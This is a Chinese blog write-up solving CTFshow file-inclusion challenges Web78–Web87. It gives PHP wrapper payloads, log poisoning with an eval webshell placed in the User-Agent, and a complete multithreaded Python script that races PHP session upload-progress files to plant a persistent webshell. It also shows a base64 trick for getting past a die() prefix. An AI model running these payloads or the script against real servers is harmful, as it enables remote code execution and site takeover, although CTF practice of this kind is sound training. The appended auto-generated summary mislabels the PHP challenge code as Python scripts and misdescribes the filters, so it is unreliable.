CTFshow 文件包含Web78-Web117

文件包含Write-Up

PHP伪协议

注意用法,allow_url_fopen和allow_url_include都满足的时候才可以用
常用场景:文件包含、文本包含

Web78

法一:

?file=data://text/plain,<?php system("ls")?>
?file=data://text/plain,<?php system("tac flag.php")?>

在这里插入图片描述
法二:

?file=php://filter/convert.base64-encode/resource=flag.php

Base64解码即可
在这里插入图片描述

Web79

把php替换为3个问号,问题不大,换一种伪协议即可,用短标签
在这里插入图片描述

Web80

data和php都被过滤了,寄,但是可以用日志文件包含

日志文件位置
/var/log/nginx/access.log

先抓包,将User-Agent改成<?php eval($_POST['a']);?>,再向其中传值,得到目录结构
在这里插入图片描述
取得flag
在这里插入图片描述

Web81

php、data、:全部被过滤掉了
用短标签
在这里插入图片描述接下来步骤和Web80一样

Web82

这道题的过滤无法使用日志包含(.也被过滤掉了)。PHP里面唯一我们能控制的没有后缀的文件就是session文件,利用到PHP_SESSION_UPLOAD_PROGRESS来初始化session,并且会把上传文件的信息记录在session文件中,待上传文件结束后清除存储上传文件信息session文件,达到文件包含的目的。

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

session.upload_progress文件包含漏洞

使用php脚本:

import io
import threading
import warnings

import requests
warnings.filterwarnings('ignore')

url = "https://ea8822ab-538b-4f6e-8c75-c9f9a904b208.challenge.ctf.show/"
sessid = 'ctfshow'  # 设置 PHPSESSID 为 'ctfshow',PHP 将在 /tmp/sess_ctfshow 生成一个文件
data = {
    "1": "file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}


def write(session):
    # b'a' 创建一个单字节的字符 'a'。
    # * 1024 * 50 将这个单字节字符 'a' 复制 1024 * 50 次,生成一个 50KB 的字节串。
    filebytes = io.BytesIO(b'a' * 1024 * 50)  # 创建一个大小为 50KB 的文件
    while True:
        session.post(url=url, data={
            # 当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时
            # 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
            'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'  # 注入恶意代码
        }, cookies={
            'PHPSESSID': sessid  # 设置会话 ID
        }, files={
            'file': ('ctfshow.jpg', filebytes)  # 上传文件
        }, verify=False)


def read(session):
    while True:
        res1 = session.post(url=url + r'?file=/tmp/sess_' + sessid, data=data, cookies= {
            'PHPSESSID': sessid
        }, verify=False)

        res2 = session.get(url=url+'1.php', verify=False);
        if res2.status_code == 200:
            print('++++++++done+++++++++')
        else:
            print(res2.status_code)


if __name__ == '__main__':
    # 使用多线程来执行 write 和 read 函数
    event = threading.Event() # 创建一个新的事件对象。
    with requests.session() as session:
        for i in range(5):
            # 创建一个单元素元组,需要在元素后面加逗号,逗号确保 Python 将其识别为元组,而不是括号中的单个值。
            threading.Thread(target=write, args=(session,)).start()  # 启动 20 个写线程
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()  # 启动 20 个读线程
    event.set() # 表示事件已经触发。所有在等待事件的线程将被唤醒并继续执行

成功RCE
在这里插入图片描述

Web83-86

同Web82

Web87

在这里插入图片描述

  1. file_put_contents是写文件:第一个参数是文件名,第二个参数是文件内容,写的文件内容会自动在前面拼接上 <?php die('大佬别秀了') ;?> 退出,接下来就是想办法绕过它

  2. 死亡函数会在代码执行时立即结束代码的执行,因此需要绕过它。通常这种函数会在文件头部,因此需要用一些手段在文件头部添加合法字符来避开它。

  3. Base64编码和解码:

  • 编码时,Base64的最小单位是3个字节。
  • 解码时,Base64以4个字符为一组进行解码。如果解码过程中遇到非法字符,PHP会忽略这些字符并继续处理其余字符。所以,通过base64解码过滤之后就只有 “phpdie” 6个字符,我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。(base64特征:大写小写a-Z和数字0-9,“+”,“/”(所以碰到<?;这种符号base64是识别不了的))

content=<?php system('ls');?>
base64后:
content=PD9waHAgc3lzdGVtKCdscycpOz8+
我们补2个a,content=aaPD9waHAgc3lzdGVtKCdscycpOz8+,这样一来,写入文件的内容就变为了phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+


文件包含是一种常见的安全漏洞,攻击者可以通过利用该漏洞来读取、执行或者包含服务器上的文件。根据提供的引用内容,我们可以看到三个不同的Python脚本,它们都涉及到文件包含漏洞。 在引用\[1\]中的Python脚本中,如果通过GET请求传递了一个名为"file"的参数,脚本会将该参数的值作为文件名,并通过include函数将该文件包含进来。然而,脚本中使用了正则表达式来检查文件名中是否包含一些特殊字符,如果包含则会终止脚本执行并输出"error"。这是一种简单的防护措施,但并不完全可靠。 在引用\[2\]中的Python脚本中,与引用\[1\]相比,增加了一些字符串替换操作。这些替换操作将文件名中的"php"、"data"、":"和"."替换为"???"。这样做的目的可能是为了绕过引用\[1\]中的正则表达式检查,使得攻击者可以包含一些被禁止的文件。 在引用\[3\]中的Python脚本中,与引用\[1\]和引用\[2\]相比,没有进行任何的文件名检查或替换操作。如果通过GET请求传递了一个名为"file"的参数,脚本会直接将该参数的值作为文件名,并通过include函数将该文件包含进来。 综上所述,这些Python脚本都存在文件包含漏洞,攻击者可以通过构造恶意的文件名来读取、执行或者包含服务器上的文件。为了防止此类漏洞的利用,应该对用户输入进行严格的验证和过滤,确保只包含可信的文件。 #### 引用[.reference_title] - *1* *2* *3* [ctfshow文件包含](https://blog.csdn.net/njh18790816639/article/details/115582591)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值